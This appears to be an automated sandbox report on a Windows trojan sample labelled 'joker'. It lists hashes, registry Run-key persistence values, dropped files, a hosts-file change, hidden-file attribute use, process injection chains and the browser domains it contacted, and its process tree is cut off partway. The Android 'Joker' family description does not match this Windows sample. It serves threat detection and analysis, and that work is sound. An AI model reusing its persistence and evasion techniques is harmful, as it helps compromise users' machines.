joker | 414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb

Analysis

max time kernel
166s
max time network
213s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2022 23:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
Size

258KB
MD5

073a7a4183c3be2f8e17e330f7f14a3e
SHA1

1dccd1ea3b1f8cb85802a959100e28a03c69c88d
SHA256

414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb
SHA512

c4dadb6da3825f1bc58f43d0979cb661ad8e276e3f7ee92bc1d75fac7ed58eca3dce5dbf657dc3131d8e80676021c2df9abf19b5caf8c69f70c890b244150de0
SSDEEP

6144:lhRpgKLfAX79/Gh++wSR284Z/azGN44XtjxwXiKEeDzwHk/Z7EUaXMal:D+Ls2n84ZCCNPtjxwXiKEenwHk/Zxaf

Score

10^/10

joker evasion infostealer persistence trojan

Malware Config

Signatures

joker
Joker is an Android malware that targets billing and SMS fraud.
infostealer trojan joker

Adds policy Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

zhahss090213.exe1261.exetj01.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\zhqbastart = "rundll32.exe C:\\Windows\\system\\zhnahsdf090213c.dll a16zhqb"	zhahss090213.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run	1261.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\dlmcjjcdfc = "C:\\Windows\\system\\jjxzwzjy090216.exe"	1261.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run\10znq = "C:\\tj01.exe"	tj01.exe

Drops file in Drivers directory 1 IoCs

Processes:

tj01.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts tj01.exe
Executes dropped EXE 7 IoCs

Processes:

2.exetj01.exe1.exexx1215.exe02.exe1261.exezhahss090213.exe

pid process

4868 2.exe
4504 tj01.exe
3584 1.exe
4256 xx1215.exe
1544 02.exe
4640 1261.exe
4512 zhahss090213.exe
Sets file to hidden 1 TTPs 4 IoCs
Modifies file attributes to stop it showing in Explorer etc.
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exe

pid process

456 attrib.exe
4372 attrib.exe
3620 attrib.exe
4420 attrib.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	tj01.exe

pid	process
4868	2.exe
4504	tj01.exe
3584	1.exe
4256	xx1215.exe
1544	02.exe
4640	1261.exe
4512	zhahss090213.exe

pid	process
456	attrib.exe
4372	attrib.exe
3620	attrib.exe
4420	attrib.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe2.exe1.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	rundll32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	1.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1644 rundll32.exe

pid	process
1644	rundll32.exe

Drops file in Windows directory 14 IoCs

Processes:

1261.exexx1215.exezhahss090213.exetj01.exeattrib.exeattrib.exeattrib.exe

description	ioc	process
File created	C:\Windows\system\jjxzwzjy090216.exe	1261.exe
File created	C:\Windows\system\zhnahsdf090213c.dll	xx1215.exe
File created	C:\Windows\system\nbhsyh32b.dll	zhahss090213.exe
File created	C:\Windows\system\zhahss090213.exe	xx1215.exe
File opened for modification	C:\Windows\win.ini	tj01.exe
File opened for modification	C:\Windows\system\zhahss090213.exe	xx1215.exe
File opened for modification	C:\Windows\system\jjxzwzjy090216.exe	1261.exe
File opened for modification	C:\Windows\system\zhnahsdf090213c.dll	xx1215.exe
File opened for modification	C:\Windows\system\zhnahsdf090213c.dll	attrib.exe
File created	C:\Windows\system\jjxzajcj32dl.dll	1261.exe
File opened for modification	C:\Windows\system\nbhsyh32b.dll	zhahss090213.exe
File opened for modification	C:\Windows\system\nbhsyh32b.dll	attrib.exe
File opened for modification	C:\Windows\system\jjxzajcj32dl.dll	1261.exe
File opened for modification	C:\Windows\system\zhahss090213.exe	attrib.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

Processes:

resource	yara_rule
C:\2.exe	nsis_installer_2
C:\2.exe	nsis_installer_2
C:\1.exe	nsis_installer_2
C:\1.exe	nsis_installer_2

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE1261.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{87277B5F-42DE-11ED-B696-DAE60F07E07D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{8729DF84-42DE-11ED-B696-DAE60F07E07D} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b1421600000000020000000000106600000001000020000000e907d472bae922da98bc063488b2ea437236960e711294bdd78e2c07c4eb71d0000000000e8000000002000020000000d66fb6dda4e070799d17df9524bbed570aa992fcee0fae7c47684f0d30e1eb962000000028b87bdd7205250477947d017d116eece5c96873201a69f0fea9d100469f27ac40000000bb7b333c83edd754b3f32f5629a989e9fc514108fd944860170ba2b11d67d79d1ffc2885a627de3e3cd988e043963071d29096b480d363fff17521092a6f828d	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "189"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b14216000000000200000000001066000000010000200000000c0b50700c2a2a8adda1e43426c6c2e3001eca17f701e50bbc820b2143e9e755000000000e8000000002000020000000cffb3bcfeab62f9bcf8d075773aded02d4460cf0b1b428c6f621c25c6f7be27720000000da2bc416896a46e28a0445a63f78ac020be711a362191fc8603b3ba533220a0740000000046d0b7c9e8990f3ca95acd14872740bcf8cc95249c8169a6cbfd04232ee67404f9878814b06d60188ba409918577975555025a201a122bac822649c2d5bcadd	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Check_Associations = "no"	1261.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com\ = "189"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\mgy1.tv	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "126"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "252"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "1751078408"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "371540878"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\Total\ = "63"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\Total = "189"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 10f25c68ebd6d801	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\International\CpMRU	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\qqvip-10.com\Total = "63"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\mgy1.tv\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "1751078408"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\www.qqvip-10.com\ = "63"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30988011"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = b08c0d6eebd6d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DOMStorage\mgy1.tv\Total = "63"	IEXPLORE.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

Processes:

xx1215.exetj01.exe1261.exezhahss090213.exe02.exe

pid	process
4256	xx1215.exe
4256	xx1215.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4640	1261.exe
4640	1261.exe
4256	xx1215.exe
4256	xx1215.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4640	1261.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4512	zhahss090213.exe
4640	1261.exe
4640	1261.exe
1544	02.exe
1544	02.exe
4504	tj01.exe
4504	tj01.exe
4512	zhahss090213.exe
4512	zhahss090213.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

xx1215.exetj01.exe1261.exezhahss090213.exe02.exeAUDIODG.EXE

description	pid	process
Token: SeDebugPrivilege	4256	xx1215.exe
Token: SeDebugPrivilege	4504	tj01.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	4512	zhahss090213.exe
Token: SeDebugPrivilege	4512	zhahss090213.exe
Token: SeDebugPrivilege	4640	1261.exe
Token: SeDebugPrivilege	1544	02.exe
Token: 33	224	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	224	AUDIODG.EXE
Token: SeDebugPrivilege	4512	zhahss090213.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

iexplore.exeiexplore.exetj01.exe

pid	process
1564	iexplore.exe
3540	iexplore.exe
3540	iexplore.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

tj01.exe

pid	process
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe
4504	tj01.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

02.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXE

pid	process
1544	02.exe
1544	02.exe
1544	02.exe
1564	iexplore.exe
1564	iexplore.exe
3540	iexplore.exe
3540	iexplore.exe
2068	IEXPLORE.EXE
2068	IEXPLORE.EXE
3144	IEXPLORE.EXE
3144	IEXPLORE.EXE
3540	iexplore.exe
3540	iexplore.exe
1624	IEXPLORE.EXE
1624	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe2.exe1.exetj01.exexx1215.exe1261.exerundll32.exeiexplore.exeiexplore.execmd.exezhahss090213.exe02.exenet.exe

description	pid	process	target process
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	2.exe
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	2.exe
PID 4032 wrote to memory of 4868	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	2.exe
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	tj01.exe
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	tj01.exe
PID 4032 wrote to memory of 4504	4032	414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe	tj01.exe
PID 4868 wrote to memory of 3584	4868	2.exe	1.exe
PID 4868 wrote to memory of 3584	4868	2.exe	1.exe
PID 4868 wrote to memory of 3584	4868	2.exe	1.exe
PID 4868 wrote to memory of 4256	4868	2.exe	xx1215.exe
PID 4868 wrote to memory of 4256	4868	2.exe	xx1215.exe
PID 4868 wrote to memory of 4256	4868	2.exe	xx1215.exe
PID 3584 wrote to memory of 1544	3584	1.exe	02.exe
PID 3584 wrote to memory of 1544	3584	1.exe	02.exe
PID 3584 wrote to memory of 1544	3584	1.exe	02.exe
PID 3584 wrote to memory of 4640	3584	1.exe	1261.exe
PID 3584 wrote to memory of 4640	3584	1.exe	1261.exe
PID 3584 wrote to memory of 4640	3584	1.exe	1261.exe
PID 4504 wrote to memory of 1688	4504	tj01.exe	attrib.exe
PID 4504 wrote to memory of 1688	4504	tj01.exe	attrib.exe
PID 4504 wrote to memory of 1688	4504	tj01.exe	attrib.exe
PID 4504 wrote to memory of 456	4504	tj01.exe	attrib.exe
PID 4504 wrote to memory of 456	4504	tj01.exe	attrib.exe
PID 4504 wrote to memory of 456	4504	tj01.exe	attrib.exe
PID 4256 wrote to memory of 4372	4256	xx1215.exe	attrib.exe
PID 4256 wrote to memory of 4372	4256	xx1215.exe	attrib.exe
PID 4256 wrote to memory of 4372	4256	xx1215.exe	attrib.exe
PID 4256 wrote to memory of 3620	4256	xx1215.exe	attrib.exe
PID 4256 wrote to memory of 3620	4256	xx1215.exe	attrib.exe
PID 4256 wrote to memory of 3620	4256	xx1215.exe	attrib.exe
PID 4640 wrote to memory of 1564	4640	1261.exe	iexplore.exe
PID 4640 wrote to memory of 1564	4640	1261.exe	iexplore.exe
PID 4504 wrote to memory of 3540	4504	tj01.exe	iexplore.exe
PID 4504 wrote to memory of 3540	4504	tj01.exe	iexplore.exe
PID 4256 wrote to memory of 1644	4256	xx1215.exe	rundll32.exe
PID 4256 wrote to memory of 1644	4256	xx1215.exe	rundll32.exe
PID 4256 wrote to memory of 1644	4256	xx1215.exe	rundll32.exe
PID 4256 wrote to memory of 3192	4256	xx1215.exe	cmd.exe
PID 4256 wrote to memory of 3192	4256	xx1215.exe	cmd.exe
PID 4256 wrote to memory of 3192	4256	xx1215.exe	cmd.exe
PID 1644 wrote to memory of 5008	1644	rundll32.exe	cmd.exe
PID 1644 wrote to memory of 5008	1644	rundll32.exe	cmd.exe
PID 1644 wrote to memory of 5008	1644	rundll32.exe	cmd.exe
PID 1564 wrote to memory of 3144	1564	iexplore.exe	IEXPLORE.EXE
PID 1564 wrote to memory of 3144	1564	iexplore.exe	IEXPLORE.EXE
PID 1564 wrote to memory of 3144	1564	iexplore.exe	IEXPLORE.EXE
PID 3540 wrote to memory of 2068	3540	iexplore.exe	IEXPLORE.EXE
PID 3540 wrote to memory of 2068	3540	iexplore.exe	IEXPLORE.EXE
PID 3540 wrote to memory of 2068	3540	iexplore.exe	IEXPLORE.EXE
PID 5008 wrote to memory of 4512	5008	cmd.exe	zhahss090213.exe
PID 5008 wrote to memory of 4512	5008	cmd.exe	zhahss090213.exe
PID 5008 wrote to memory of 4512	5008	cmd.exe	zhahss090213.exe
PID 4640 wrote to memory of 1564	4640	1261.exe	iexplore.exe
PID 4640 wrote to memory of 2836	4640	1261.exe	cmd.exe
PID 4640 wrote to memory of 2836	4640	1261.exe	cmd.exe
PID 4640 wrote to memory of 2836	4640	1261.exe	cmd.exe
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	attrib.exe
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	attrib.exe
PID 4512 wrote to memory of 4420	4512	zhahss090213.exe	attrib.exe
PID 1544 wrote to memory of 4184	1544	02.exe	net.exe
PID 1544 wrote to memory of 4184	1544	02.exe	net.exe
PID 1544 wrote to memory of 4184	1544	02.exe	net.exe
PID 4184 wrote to memory of 1580	4184	net.exe	net1.exe
PID 4184 wrote to memory of 1580	4184	net.exe	net1.exe

Views/modifies file attributes 1 TTPs 5 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exeattrib.exeattrib.exeattrib.exe

pid process

1688 attrib.exe
456 attrib.exe
4372 attrib.exe
3620 attrib.exe
4420 attrib.exe

pid	process
1688	attrib.exe
456	attrib.exe
4372	attrib.exe
3620	attrib.exe
4420	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:372

C:\Users\Admin\AppData\Local\Temp\414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe
"C:\Users\Admin\AppData\Local\Temp\414511c6a3497dc4b1c22cf57fa7a62d674f1c13a3f8ad34596b01d3bc7997fb.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4032

C:\2.exe
"C:\2.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868

C:\1.exe
"C:\1.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3584

C:\02.exe
"C:\02.exe"
5⤵
- Executes dropped EXE
